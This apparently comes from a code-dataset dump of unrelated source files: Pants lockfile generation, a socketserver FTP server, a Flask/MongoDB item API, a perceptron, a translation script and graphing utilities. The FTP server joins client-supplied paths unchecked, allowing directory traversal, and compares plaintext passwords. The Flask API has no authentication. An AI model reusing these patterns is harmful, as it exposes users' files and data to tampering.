`[python].experimental_lockfile`, which is not using the new\n # \"named resolve\" semantics yet.\n _description: str | None = None\n _regenerate_command: str | None = None\n\n @classmethod\n def from_tool(\n cls,\n subsystem: PythonToolRequirementsBase,\n interpreter_constraints: InterpreterConstraints | None = None,\n *,\n extra_requirements: Iterable[str] = (),\n ) -> PythonLockfileRequest:\n \"\"\"Create a request for a dedicated lockfile for the tool.\n\n If the tool determines its interpreter constraints by using the constraints of user code,\n rather than the option `--interpreter-constraints`, you must pass the arg\n `interpreter_constraints`.\n \"\"\"\n if not subsystem.uses_lockfile:\n return cls(\n FrozenOrderedSet(),\n InterpreterConstraints(),\n resolve_name=subsystem.options_scope,\n lockfile_dest=subsystem.lockfile,\n )\n return cls(\n requirements=FrozenOrderedSet((*subsystem.all_requirements, *extra_requirements)),\n interpreter_constraints=(\n interpreter_constraints\n if interpreter_constraints is not None\n else subsystem.interpreter_constraints\n ),\n resolve_name=subsystem.options_scope,\n lockfile_dest=subsystem.lockfile,\n )\n\n @property\n def requirements_hex_digest(self) -> str:\n \"\"\"Produces a hex digest of the requirements input for this lockfile.\"\"\"\n return calculate_invalidation_digest(self.requirements)\n\n\n@rule(desc=\"Generate lockfile\", level=LogLevel.DEBUG)\nasync def generate_lockfile(\n req: PythonLockfileRequest,\n poetry_subsystem: PoetrySubsystem,\n generate_lockfiles_subsystem: GenerateLockfilesSubsystem,\n) -> PythonLockfile:\n pyproject_toml = create_pyproject_toml(req.requirements, req.interpreter_constraints).encode()\n pyproject_toml_digest, launcher_digest = await MultiGet(\n Get(Digest, CreateDigest([FileContent(\"pyproject.toml\", pyproject_toml)])),\n Get(Digest, CreateDigest([POETRY_LAUNCHER])),\n )\n\n poetry_pex = await Get(\n VenvPex,\n PexRequest(\n output_filename=\"poetry.pex\",\n internal_only=True,\n requirements=poetry_subsystem.pex_requirements(),\n interpreter_constraints=poetry_subsystem.interpreter_constraints,\n main=EntryPoint(PurePath(POETRY_LAUNCHER.path).stem),\n sources=launcher_digest,\n ),\n )\n\n # WONTFIX(#12314): Wire up Poetry to named_caches.\n # WONTFIX(#12314): Wire up all the pip options like indexes.\n poetry_lock_result = await Get(\n ProcessResult,\n VenvPexProcess(\n poetry_pex,\n argv=(\"lock\",),\n input_digest=pyproject_toml_digest,\n output_files=(\"poetry.lock\", \"pyproject.toml\"),\n description=req._description or f\"Generate lockfile for {req.resolve_name}\",\n # Instead of caching lockfile generation with LMDB, we instead use the invalidation\n # scheme from `lockfile_metadata.py` to check for stale/invalid lockfiles. This is\n # necessary so that our invalidation is resilient to deleting LMDB or running on a\n # new machine.\n #\n # We disable caching with LMDB so that when you generate a lockfile, you always get\n # the most up-to-date snapshot of the world. This is generally desirable and also\n # necessary to avoid an awkward edge case where different developers generate different\n # lockfiles even when generating at the same time. See\n # https://github.com/pantsbuild/pants/issues/12591.\n cache_scope=ProcessCacheScope.PER_SESSION,\n ),\n )\n poetry_export_result = await Get(\n ProcessResult,\n VenvPexProcess(\n poetry_pex,\n argv=(\"export\", \"-o\", req.lockfile_dest),\n input_digest=poetry_lock_result.output_digest,\n output_files=(req.lockfile_dest,),\n description=(\n f\"Exporting Poetry lockfile to requirements.txt format for {req.resolve_name}\"\n ),\n level=LogLevel.DEBUG,\n ),\n )\n\n initial_lockfile_digest_contents = await Get(\n DigestContents, Digest, poetry_export_result.output_digest\n )\n # TODO(#12314) Improve error message on `Requirement.parse`\n metadata = LockfileMetadata.new(\n req.interpreter_constraints,\n {PipRequirement.parse(i) for i in req.requirements},\n )\n lockfile_with_header = metadata.add_header_to_lockfile(\n initial_lockfile_digest_contents[0].content,\n regenerate_command=(\n generate_lockfiles_subsystem.custom_command\n or req._regenerate_command\n or f\"./pants generate-lockfiles --resolve={req.resolve_name}\"\n ),\n )\n final_lockfile_digest = await Get(\n Digest, CreateDigest([FileContent(req.lockfile_dest, lockfile_with_header)])\n )\n return PythonLockfile(final_lockfile_digest, req.resolve_name, req.lockfile_dest)\n\n\n# --------------------------------------------------------------------------------------\n# User lockfiles\n# --------------------------------------------------------------------------------------\n\n\nclass _SpecifiedUserResolves(Collection[str]):\n pass\n\n\nclass _UserLockfileRequests(Collection[PythonLockfileRequest]):\n pass\n\n\n@rule\nasync def setup_user_lockfile_requests(\n requested: _SpecifiedUserResolves, all_targets: AllTargets, python_setup: PythonSetup\n) -> _UserLockfileRequests:\n # First, associate all resolves with their consumers.\n resolves_to_roots = defaultdict(list)\n for tgt in all_targets:\n if not tgt.has_field(PythonResolveField):\n continue\n tgt[PythonResolveField].validate(python_setup)\n resolve = tgt[PythonResolveField].value\n if resolve is None:\n continue\n resolves_to_roots[resolve].append(tgt.address)\n\n # Expand the resolves for all specified.\n transitive_targets_per_resolve = await MultiGet(\n Get(TransitiveTargets, TransitiveTargetsRequest(resolves_to_roots[resolve]))\n for resolve in requested\n )\n pex_requirements_per_resolve = []\n interpreter_constraints_per_resolve = []\n for transitive_targets in transitive_targets_per_resolve:\n req_fields = []\n ic_fields = []\n for tgt in transitive_targets.closure:\n if tgt.has_field(PythonRequirementsField):\n req_fields.append(tgt[PythonRequirementsField])\n if tgt.has_field(InterpreterConstraintsField):\n ic_fields.append(tgt[InterpreterConstraintsField])\n pex_requirements_per_resolve.append(\n PexRequirements.create_from_requirement_fields(req_fields)\n )\n interpreter_constraints_per_resolve.append(\n InterpreterConstraints.create_from_compatibility_fields(ic_fields, python_setup)\n )\n\n requests = (\n PythonLockfileRequest(\n requirements.req_strings,\n interpreter_constraints,\n resolve_name=resolve,\n lockfile_dest=python_setup.resolves_to_lockfiles[resolve],\n )\n for resolve, requirements, interpreter_constraints in zip(\n requested, pex_requirements_per_resolve, interpreter_constraints_per_resolve\n )\n )\n return _UserLockfileRequests(requests)\n\n\n# --------------------------------------------------------------------------------------\n# Lock goal\n# --------------------------------------------------------------------------------------\n\n\nclass GenerateLockfilesGoal(Goal):\n subsystem_cls = GenerateLockfilesSubsystem\n\n\n@goal_rule\nasync def generate_lockfiles_goal(\n workspace: Workspace,\n union_membership: UnionMembership,\n generate_lockfiles_subsystem: GenerateLockfilesSubsystem,\n python_setup: PythonSetup,\n python_repos: PythonRepos,\n) -> GenerateLockfilesGoal:\n if python_repos.repos:\n warn_python_repos(\"repos\")\n if python_repos.indexes != [python_repos.pypi_index]:\n warn_python_repos(\"indexes\")\n\n specified_user_resolves, specified_tool_sentinels = determine_resolves_to_generate(\n python_setup.resolves_to_lockfiles.keys(),\n union_membership[PythonToolLockfileSentinel],\n generate_lockfiles_subsystem.resolve_names,\n )\n\n specified_user_requests = await Get(\n _UserLockfileRequests, _SpecifiedUserResolves(specified_user_resolves)\n )\n specified_tool_requests = await MultiGet(\n Get(PythonLockfileRequest, PythonToolLockfileSentinel, sentinel())\n for sentinel in specified_tool_sentinels\n )\n applicable_tool_requests = filter_tool_lockfile_requests(\n specified_tool_requests,\n resolve_specified=bool(generate_lockfiles_subsystem.resolve_names),\n )\n\n results = await MultiGet(\n Get(PythonLockfile, PythonLockfileRequest, req)\n for req in (*specified_user_requests, *applicable_tool_requests)\n )\n\n merged_digest = await Get(Digest, MergeDigests(res.digest for res in results))\n workspace.write_digest(merged_digest)\n for result in results:\n logger.info(f\"Wrote lockfile for the resolve `{result.resolve_name}` to {result.path}\")\n\n return GenerateLockfilesGoal(exit_code=0)\n\n\ndef warn_python_repos(option: str) -> None:\n logger.warning(\n f\"The option `[python-repos].{option}` is configured, but it does not currently work \"\n \"with lockfile generation. Lockfile generation will fail if the relevant requirements \"\n \"cannot be located on PyPI.\\n\\n\"\n \"If lockfile generation fails, you can disable lockfiles by setting \"\n \"`[tool].lockfile = ''`, e.g. setting `[black].lockfile`. You can also manually \"\n \"generate a lockfile, such as by using pip-compile or `pip freeze`. Set the \"\n \"`[tool].lockfile` option to the path you manually generated. When manually maintaining \"\n \"lockfiles, set `[python].invalid_lockfile_behavior = 'ignore'.\"\n )\n\n\nclass AmbiguousResolveNamesError(Exception):\n def __init__(self, ambiguous_names: list[str]) -> None:\n if len(ambiguous_names) == 1:\n first_paragraph = (\n \"A resolve name from the option \"\n \"`[python].experimental_resolves_to_lockfiles` collides with the name of a \"\n f\"tool resolve: {ambiguous_names[0]}\"\n )\n else:\n first_paragraph = (\n \"Some resolve names from the option \"\n \"`[python].experimental_resolves_to_lockfiles` collide with the names of \"\n f\"tool resolves: {sorted(ambiguous_names)}\"\n )\n super().__init__(\n f\"{first_paragraph}\\n\\n\"\n \"To fix, please update `[python].experimental_resolves_to_lockfiles` to use \"\n \"different resolve names.\"\n )\n\n\ndef determine_resolves_to_generate(\n all_user_resolves: Iterable[str],\n all_tool_sentinels: Iterable[type[PythonToolLockfileSentinel]],\n requested_resolve_names: Sequence[str],\n) -> tuple[list[str], list[type[PythonToolLockfileSentinel]]]:\n \"\"\"Apply the `--resolve` option to determine which resolves are specified.\n\n Return a tuple of `(user_resolves, tool_lockfile_sentinels)`.\n \"\"\"\n resolve_names_to_sentinels = {\n sentinel.options_scope: sentinel for sentinel in all_tool_sentinels\n }\n\n ambiguous_resolve_names = [\n resolve_name\n for resolve_name in all_user_resolves\n if resolve_name in resolve_names_to_sentinels\n ]\n if ambiguous_resolve_names:\n raise AmbiguousResolveNamesError(ambiguous_resolve_names)\n\n if not requested_resolve_names:\n return list(all_user_resolves), list(all_tool_sentinels)\n\n specified_user_resolves = []\n specified_sentinels = []\n unrecognized_resolve_names = []\n for resolve_name in requested_resolve_names:\n sentinel = resolve_names_to_sentinels.get(resolve_name)\n if sentinel:\n specified_sentinels.append(sentinel)\n elif resolve_name in all_user_resolves:\n specified_user_resolves.append(resolve_name)\n else:\n unrecognized_resolve_names.append(resolve_name)\n\n if unrecognized_resolve_names:\n raise UnrecognizedResolveNamesError(\n unrecognized_resolve_names,\n {*all_user_resolves, *resolve_names_to_sentinels.keys()},\n description_of_origin=\"the option `--generate-lockfiles-resolve`\",\n )\n\n return specified_user_resolves, specified_sentinels\n\n\ndef filter_tool_lockfile_requests(\n specified_requests: Sequence[PythonLockfileRequest], *, resolve_specified: bool\n) -> list[PythonLockfileRequest]:\n result = []\n for req in specified_requests:\n if req.lockfile_dest not in (NO_TOOL_LOCKFILE, DEFAULT_TOOL_LOCKFILE):\n result.append(req)\n continue\n if resolve_specified:\n resolve = req.resolve_name\n raise ValueError(\n f\"You requested to generate a lockfile for {resolve} because \"\n \"you included it in `--generate-lockfiles-resolve`, but \"\n f\"`[{resolve}].lockfile` is set to `{req.lockfile_dest}` \"\n \"so a lockfile will not be generated.\\n\\n\"\n f\"If you would like to generate a lockfile for {resolve}, please \"\n f\"set `[{resolve}].lockfile` to the path where it should be \"\n \"generated and run again.\"\n )\n\n return result\n\n\ndef rules():\n return collect_rules()\n","sub_path":"src/python/pants/backend/python/goals/lockfile.py","file_name":"lockfile.py","file_ext":"py","file_size_in_byte":18262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"545223067","text":"# -*- coding:utf-8 -*-\n# author: Kai Zhang\n# class FTPServer\nimport socketserver\nimport json\nimport os\nimport hashlib\n\nfrom conf.setting import BASE_DIR\n\n\nclass FTPServer(socketserver.BaseRequestHandler):\n '''server ftp'''\n\n def handle(self):\n while True:\n try:\n self.data = self.request.recv(1024)\n print('客户端地址: %s' % (self.client_address[0]))\n if not self.data:\n print('客户端断开了')\n break\n else:\n self.data = json.loads(self.data.decode())\n func = self.data['func']\n if hasattr(self, func):\n getattr(self, func)()\n else:\n print('功能不存在')\n except ConnectionResetError as e:\n print('客户端断开了')\n break\n\n def access(self):\n account = self.data['account']\n password = self.data['password']\n path = BASE_DIR + r'//database//user//' + account + '.json'\n if os.path.isfile(path):\n f = open(path, 'r')\n data = json.loads(f.read())\n f.close()\n if password == data['password']:\n self.request.send(b'100')\n self.disk_path = data['disk_path']\n self.max_size = float(data['disk_size'])\n print('用户%s登陆成功：%s' % (account, self.client_address[0]))\n else:\n self.request.send(b'101')\n else:\n self.request.send(b'102')\n\n def dir(self):\n path = self.disk_path + self.data['path']\n data = ''\n print('读取目录：', path)\n for i in os.listdir(path):\n data += i + '\\n'\n data = data.encode('utf-8')\n info = {\n 'size': len(data)\n }\n self.request.send(json.dumps(info).encode('utf-8'))\n if info['size'] == 0:\n print('目录为空')\n else:\n self.request.recv(1024)\n self.request.send(data)\n\n def cd(self):\n info = {\n 'num': 201\n }\n if self.data['cd_path'] == '.':\n info['num'] = 200\n print('移动到上一级目录')\n else:\n new_path = self.disk_path + self.data['path'] + self.data['cd_path'] + r'//'\n if os.path.isdir(new_path):\n info['num'] = 200\n print('移动到新目录：', new_path)\n self.request.send(json.dumps(info).encode('utf-8'))\n\n def put(self):\n info = {\n 'num': 303\n }\n size = 0\n root_path = self.disk_path\n for root, dirs, files in os.walk(root_path):\n for f in files:\n size += os.path.getsize(os.path.join(root, f))\n size = size + self.data['size']\n recv_flag = False\n path = root_path\n if size / 1024 / 1024 > self.max_size:\n info['num'] = 302\n self.request.send(json.dumps(info).encode('utf-8'))\n else:\n path = root_path + self.data['path'] + self.data['name']\n if os.path.isfile(path):\n info['num'] = 301\n self.request.send(json.dumps(info).encode('utf-8'))\n data = json.loads(self.request.recv(1024).decode())\n if not data['recover']:\n path = root_path + self.data['path'] + self.data['name'] + '.new'\n recv_flag = True\n self.request.send('准备完成！'.encode('utf-8'))\n else:\n info['num'] = 300\n self.request.send(json.dumps(info).encode('utf-8'))\n recv_flag = True\n if recv_flag:\n print('客户端上传该路径文件', path)\n f = open(path, 'wb')\n recv_size = 0\n file_md5 = hashlib.md5()\n while recv_size < self.data['size']:\n if self.data['size'] - recv_size > 1024:\n size = 1024\n else:\n size = self.data['size'] - recv_size\n data = self.request.recv(size)\n recv_size += len(data)\n file_md5.update(data)\n f.write(data)\n f.close()\n md5 = self.request.recv(1024).decode()\n if file_md5.hexdigest() == md5:\n print('接收完毕:', path)\n self.request.send('接收完毕！'.encode('utf-8'))\n else:\n print('文件损坏！')\n self.request.send('文件损坏！'.encode('utf-8'))\n os.remove(path)\n\n def get(self):\n info = {\n 'num': 402\n }\n path = self.disk_path + self.data['path'] + self.data['name']\n print('客户端请求该路径文件', path)\n if os.path.isfile(path):\n size = os.path.getsize(path)\n info['num'] = 400\n info['size'] = size\n send_flag = True\n else:\n info['num'] = 401\n send_flag = False\n self.request.send(json.dumps(info).encode('utf-8'))\n if send_flag:\n self.request.recv(1024)\n f = open(path, 'rb')\n file_md5 = hashlib.md5()\n for i in f:\n self.request.send(i)\n file_md5.update(i)\n f.close()\n self.request.send(file_md5.hexdigest().encode('utf-8'))\n\n def cut(self):\n info = {\n 'num': 502\n }\n path = self.disk_path + self.data['path'] + self.data['name']\n print('客户端删除该路径文件', path)\n if os.path.isfile(path):\n os.remove(path)\n info['num'] = 500\n else:\n info['num'] = 501\n self.request.send(json.dumps(info).encode('utf-8'))\n\n def mkdir(self):\n info = {\n 'num': 602\n }\n new_path = self.disk_path + self.data['path'] + self.data['mkdir_path']\n print('客户端请求新建该路径', new_path)\n if os.path.exists(new_path):\n info['num'] = 601\n print('要创建的目录已存在')\n else:\n info['num'] = 600\n os.makedirs(new_path)\n print('创建新目录', new_path)\n self.request.send(json.dumps(info).encode('utf-8'))\n","sub_path":"server/core/server_ftp.py","file_name":"server_ftp.py","file_ext":"py","file_size_in_byte":6404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"496337441","text":"from flask import Flask, request, jsonify\nfrom dbSetup import items\nfrom bson.objectid import ObjectId\nfrom pymongo import ReturnDocument\nfrom flask_cors import CORS\nfrom models import Item\n\napp = Flask(__name__)\n\n\nCORS(app)\n\n@app.route('/items')\ndef get_all_items():\n \"\"\"Route to get all items\"\"\"\n\n allItems = list(items.find())\n for item in allItems:\n # convert ObjectId from MongoDb to string\n id_to_string(item)\n \n return jsonify(allItems)\n\n@app.route('/items/')\ndef get_item(id):\n \"\"\"Route to get item by id\"\"\"\n\n item = items.find_one({'_id': ObjectId(id)})\n\n # convert ObjectId from MongoDb to string\n id_to_string(item)\n \n return item\n\n@app.route('/items', methods=['POST'])\ndef create_item():\n \"\"\"Route to create an item\"\"\"\n \n data = request.get_json()\n\n item = Item(\n description = data.get('description'),\n price = data.get('price'),\n type = data.get('type'),\n img = data.get('img'),\n quantity = data.get('quantity'),\n name = data.get('name')\n )\n\n # get image name\n name = item.get_img_name()\n\n # save image on server\n base64Image = data.get('imgFile')\n Item.save_img(base64Image, name)\n \n #save item in db\n result = items.insert_one(item.__dict__)\n item = items.find_one({'_id': result.inserted_id})\n id_to_string(item)\n return item\n\n@app.route('/items/', methods=['DELETE'])\ndef delete_item(id):\n \"\"\"Route to delete an item by id\"\"\"\n\n items.delete_one({'_id': ObjectId(id)})\n\n return \"Success\"\n\n@app.route('/items/', methods=['PATCH'])\ndef update_item(id):\n \"\"\"Route to update an item\"\"\"\n\n data = request.get_json()\n\n item = items.find_one_and_update({'_id': ObjectId(id)}, {'$set': data}, return_document=ReturnDocument.AFTER)\n\n # convert ObjectId from MongoDb to string\n id_to_string(item)\n \n return item\n\n\ndef id_to_string(item):\n item['_id'] = str(item['_id'])\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"373501082","text":"'''\nCreated on Oct 7, 2012\n\n@author: erkki\n'''\nfrom p1.Perceptron import Perceptron\nfrom util.DataFetcher import DataFetcher\nfrom util.LoggerFetcher import LoggerFetcher\n\nclass Main(object):\n \n def __init__(self):\n self.log = LoggerFetcher().fetchLogger(\"p1\", \"main\")\n \n def classifyDataSet(self, dataSetName, perceptron):\n \n self.log.info('Classifying dataset %s', dataSetName)\n container = DataFetcher().fetchDataSet(dataSetName)\n labels = container.getLabels()\n samples = container.getDataVectors()\n \n errors = 0\n for i, sample in enumerate(samples):\n \n cls = perceptron.classify(sample) \n if cls != labels[i]:\n errors += 1\n self.log.info('Misclassified sample %s as %s', labels[i], cls)\n \n setSize = container.getDataSetSize()\n \n errorRate = errors * 1.0 / setSize * 100\n self.log.info('Error rate while classifying was %s', errorRate) \n\n def trainPerceptron(self, dataSetName, alpha, iterations):\n container = DataFetcher().fetchDataSet(dataSetName)\n perceptron = Perceptron(container, 0.1, 15)\n perceptron.train()\n \n return perceptron\n \n def main(self): \n dataSets = ['buffer_dataset', 'inverter_dataset']\n \n for dataSetName in dataSets: \n perceptron = self.trainPerceptron(dataSetName, 0.1, 15)\n self.classifyDataSet(dataSetName, perceptron)\n \nif __name__ == '__main__':\n Main().main()\n","sub_path":"neural/p1/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"10248167","text":"import os\nimport copy\nimport numpy as np\n\nclass Configurations:\n mag_10sqdeg = {\n 'pyconfig': os.path.join(os.environ['BALROG_PYCONFIG'], 'r50_r90_coords.py'),\n #'label': 'mag_10sqdeg',\n 'outdir': os.environ['BALROG_DEFAULT_OUT'],\n 'magimage':'/astro/u/esuchyta/git_repos/BalrogSetupBNL/wrappers/SingleJob/magfield.fits',\n\n 'compressed': True,\n 'clean': True,\n 'fullclean': True,\n\n 'ntot': 300000, \n #'ntot': 1000, \n 'ngal': 1000,\n \n #'nmin': str(0.3),\n #'nmax': str(6.0),\n #'dn': str(0.1),\n #'ntype': 'lin',\n #'label': 'nobin',\n\n 'presex': True,\n 'fitstype': 'ldac',\n 'sexnnw': os.path.join(os.environ['DESDM_CONFIG_SVA1'], 'sex.nnw'),\n 'sexconv': os.path.join(os.environ['DESDM_CONFIG_SVA1'], 'sex.conv'),\n 'sexpath': '/direct/astro+u/esuchyta/svn_repos/sextractor-2.18.10/install/bin/sex',\n 'sexparam': '/direct/astro+u/esuchyta/git_repos/BalrogSetupBNL/suchyta_config/single_n.param',\n 'sexconfig': '/direct/astro+u/esuchyta/git_repos/BalrogSetupBNL/suchyta_config/r50_r90.config'\n }\n\n mag_desdm = {\n 'pyconfig': os.path.join(os.environ['BALROG_PYCONFIG'], 'mag_desdm.py'),\n 'outdir': os.environ['BALROG_DEFAULT_OUT'],\n\n 'compressed': True,\n 'clean': True,\n 'fullclean': True,\n\n 'ntot': 300000, \n 'ngal': 1000,\n\n #'label': 'nomag_desdm',\n #'magnification': 0.0, \n\n 'label': 'mag_desdm',\n 'magnification': 0.01, \n\n 'presex': True,\n 'fitstype': 'ldac',\n 'sexnnw': os.path.join(os.environ['DESDM_CONFIG_SVA1'], 'sex.nnw'),\n 'sexconv': os.path.join(os.environ['DESDM_CONFIG_SVA1'], 'sex.conv'),\n 'sexpath': '/direct/astro+u/esuchyta/svn_repos/sextractor-2.18.10/install/bin/sex',\n\n 'sexparam': '/direct/astro+u/esuchyta/git_repos/BalrogSetupBNL/DESDM_config/sva1/sex.param_diskonly',\n 'sexconfig': '/direct/astro+u/esuchyta/git_repos/BalrogSetupBNL/DESDM_config/sva1/sex.config'\n }\n\n\n\nclass TileLists:\n suchyta13 = ['DES0415-4831',\n 'DES0419-4831',\n 'DES0423-4831',\n 'DES0427-4831',\n 'DES0432-4831',\n 'DES0436-4831',\n 'DES0440-4831',\n 'DES0445-4831',\n 'DES0449-4831',\n 'DES0453-4831',\n 'DES0458-4831',\n 'DES0502-4831',\n 'DES0506-4831']\n\n suchyta14 = ['DES0411-4748',\n 'DES0415-4748',\n 'DES0419-4748',\n 'DES0423-4748',\n 'DES0428-4748',\n 'DES0432-4748',\n 'DES0436-4748',\n 'DES0440-4748',\n 'DES0445-4748',\n 'DES0449-4748',\n 'DES0453-4748',\n 'DES0457-4748',\n 'DES0502-4748',\n 'DES0506-4748']\n\n suchyta27 = np.append( np.array(suchyta13), np.array(suchyta14) )\n\n\n\nclass SheldonInfo:\n sva1_coadd = {\n 'release': 'sva1_coadd',\n 'filetype': 'coadd_image',\n 'runkey': 'coadd_run',\n }\n","sub_path":"wrappers/SingleJob/runconfigs.py","file_name":"runconfigs.py","file_ext":"py","file_size_in_byte":3390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"196150255","text":"import detaset\r\nimport re\r\n\r\namino=detaset.amino()\r\nsep=detaset.sep_str()\r\n\r\ndef translate(read_seq):\r\n result=make_codon_set(read_seq)\r\n return result\r\n\r\ndef make_codon_set(read_seq):\r\n # start = read_seq.find(\"AUG\")\r\n start = re.finditer(r\"AUG\",read_seq)\r\n dic=[]\r\n for s in start:\r\n tmp=make_codon(read_seq,s.start())\r\n dic.append(tmp)\r\n return dic\r\n\r\ndef make_codon(read_seq,start):\r\n k=3\r\n result=[]\r\n pre_codon = read_seq[start::]\r\n result.append(str(start))\r\n for i in range(0, len(pre_codon), k):\r\n codon = pre_codon[i:i+k]\r\n if codon in amino[\"x\"]:\r\n result.append(str(start+i))\r\n return formatResult(result,read_seq)\r\n elif len(codon)<3 :\r\n result.append(str(start+i))\r\n return formatResult(result,read_seq)\r\n else:\r\n result.append(codon)\r\n return formatResult(result,read_seq)\r\n\r\ndef read_codon(codon_list):\r\n result =[]\r\n for i in range(0,len(codon_list)):\r\n aminosan=codon_list[i]\r\n aminosan_check = [k for k, v in amino.items() if codon_list[i] in v]\r\n if len(aminosan_check) != 0:\r\n aminosan = aminosan_check[0]\r\n result.append(aminosan)\r\n return result\r\n\r\ndef formatResult(result,read_seq):\r\n codon=result\r\n prot=read_codon(result)\r\n return {'codon':sep.join(codon),'protain':sep.join(prot),'read':read_seq}","sub_path":"translation.py","file_name":"translation.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"459596080","text":"import PIL.Image as im\r\nimport numpy as np\r\n\r\nimage = im.open('image.png')\r\nimage = np.array(image)\r\n\r\n\r\nfor i in range(10):\r\n for j in range(256):\r\n image[i][j] = [0, 0, 0, 0]\r\n\r\nsortie = im.fromarray(image)\r\nsortie.save('image_copie.png')","sub_path":"Exercice 6.py","file_name":"Exercice 6.py","file_ext":"py","file_size_in_byte":250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"200616513","text":"print(\"Loading Python IL Module\")\n\n# PILgraph is here because both the black and white and colour screens need it.\n\nfrom objects import *\nfrom PIL import Image\nfrom PIL import ImageFont\nfrom PIL import ImageDraw\n\nimport numpy\nfrom array import *\n\n# The following class is used to prepare sensordata for display on the graph and draw it to the screen.\nclass graphlist(object):\n\n\t# the following is constructor code to give each object a list suitable for storing all our graph data.\n\tdef __init__(self, sourcerange, graphcoords, graphspan, cycle = 0, colour = 0, width = 1):\n\t\tself.new = True\n\t\tself.cycle = cycle\n\t\tself.tock = timer()\n\t\tself.tock.logtime()\n\t\tself.glist = array('f', [])\n\t\tself.dlist = array('f', [])\n\t\tself.colour = colour\n\t\tself.auto = True\n\t\tself.width = width\n\t\tself.dotw = 6\n\t\tself.doth = 6\n\n\t\tself.datahigh = 0\n\t\tself.datalow = 0\n\t\tself.newrange = (self.datalow,self.datahigh)\n\n\t\t# collect data for translating sensor readings into pixel locations\n\t\tself.sourcerange = sourcerange\n\t\tself.low,self.high = self.sourcerange\n\n\t\t# collect data for where the graph should be drawn to screen.\n\t\tself.x, self.y = graphcoords\n\t\tself.spanx,self.spany = graphspan\n\n\t\tself.newx,self.newy = graphcoords\n\t\tself.newspanx,self.newspany = graphspan\n\n\t\tself.targetrange = ((self.y + self.spany), self.y)\n\n\t\t# seeds a list with the coordinates for 0 to give us a list that we can put our scaled graph values in\n\t\tfor i in range(self.spanx):\n\t\t\tself.glist.append(self.y + self.spany)\n\n\t\t# seeds a list with sourcerange zero so we can put our sensor readings into it.\n\t\tfor i in range(self.spanx):\n\t\t\tself.dlist.append(self.low)\n\n\n\t# the following function returns the graph list.\n\tdef grabglist(self):\n\t\treturn self.glist\n\t# the following function returns the data list.\n\tdef grabdlist(self):\n\t\treturn self.dlist\n\n\t# Returns the average of the current dataset\n\tdef get_average(self):\n\t\taverage = sum(self.buff) / len(self.buff)\n\t\treturn average\n\n\tdef get_high(self):\n\t\treturn max(self.buff)\n\n\tdef get_low(self):\n\t\treturn min(self.buff)\n\n\t# this function calculates the approximate time scale of the graph\n\tdef giveperiod(self):\n\t\tself.period = (self.spanx * self.cycle) / 60\n\n\t\treturn self.period\n\n\t# the following appends data to the list.\n\n\tdef update(self, data):\n\t\t# grabs a tuple to hold our values\n\t\tself.buff = self.grabdlist()\n\n\n\t\t# if the time elapsed has reached the set interval then collect data\n\t\tif self.tock.timelapsed() >= self.cycle:\n\n\t\t\t# we load new data from the caller\n\t\t\tself.cleandata = data\n\n\t\t\t#append it to our list of clean data\n\t\t\tself.buff.append(self.cleandata)\n\n\t\t\t#pop the oldest value off\n\t\t\t# may remove this\n\t\t\tself.buff.pop(0)\n\t\t\tself.tock.logtime()\n\n\n\n\t# the following pairs the list of values with coordinates on the X axis. The supplied variables are the starting X coordinates and spacing between each point.\n\t# if the auto flad is set then the class will autoscale the graph so that the highest and lowest currently displayed values are presented.\n\tdef graphprep(self,datalist):\n\t\tself.linepoint = self.x\n\t\tself.jump = 1\n\t\tself.newlist = []\n\n\n\t\tself.datahigh = max(self.dlist)\n\t\tself.datalow = min(self.dlist)\n\t\tself.newrange = (self.datalow,self.datahigh)\n\n\t\tfor i in range(self.spanx):\n\t\t\tif self.auto == True:\n\t\t\t\tscaledata = numpy.interp(datalist[i],self.newrange,self.targetrange)#self.translate(datalist[i], self.newrange, self.targetrange)\n\t\t\telse:\n\t\t\t\tscaledata = self.translate(datalist[i], self.sourcerange, self.targetrange)\n\n\t\t\tself.newlist.append((self.linepoint,scaledata))\n\t\t\tself.linepoint = self.linepoint + self.jump\n\n\t\treturn self.newlist\n\n\t# the following function maps a value from the target range onto the desination range\n\tdef translate(self,value,source,target):\n\t\t# Figure out how 'wide' each range is\n\n\t\tleftMax,leftMin = source\n\t\trightMin,rightMax = target\n\n\t\tleftSpan = leftMax - leftMin\n\t\trightSpan = rightMax - rightMin\n\n\t\t# Convert the left range into a 0-1 range (float)\n\t\tif leftSpan == 0:\n\t\t\treturn rightMin + rightSpan / 2\n\n\t\tvalueScaled = float(value - leftMin) / float(leftSpan)\n\n\t\t# Convert the 0-1 range into a value in the right range.\n\t\treturn rightMin + (valueScaled * rightSpan)\n\n\tdef render(self, draw, auto = True, dot = True):\n\n\t\tself.auto = configure.auto[0]\n\n\t\t#preps the list by adding the X coordinate to every sensor value\n\t\tcords = self.graphprep(self.buff)\n\n\t\t# draws the line graph\n\t\tdraw.line(cords,self.colour,self.width)\n\n\n\t\tif dot:\n\t\t\tx1 = cords[-1][0] - (self.dotw/2)\n\t\t\ty1 = cords[-1][1] - (self.doth/2)\n\t\t\tx2 = cords[-1][0] + (self.dotw/2)\n\t\t\ty2 = cords[-1][1] + (self.doth/2)\n\t\t\tdraw.ellipse([x1,y1,x2,y2],self.colour)\n","sub_path":"pilgraph.py","file_name":"pilgraph.py","file_ext":"py","file_size_in_byte":4625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"563563501","text":"#!/usr/bin/env python\n\n# standard library modules, , ,\nimport unittest\nimport os\nimport subprocess\nfrom collections import namedtuple\n\n# version, , represent versions and specifications, internal\nfrom yotta.lib import version\n# settings, , load and save settings, internal\nfrom yotta.lib import settings\n# install, , install components, internal\nfrom yotta import install\n\n\nTest_Name = 'testing-dummy'\nTest_Deps_Name = \"autopulated/github-access-testing\"\nTest_Deps_Target = \"x86-osx,*\"\nTest_Username = 'yottatest'\nTest_Access_Token = 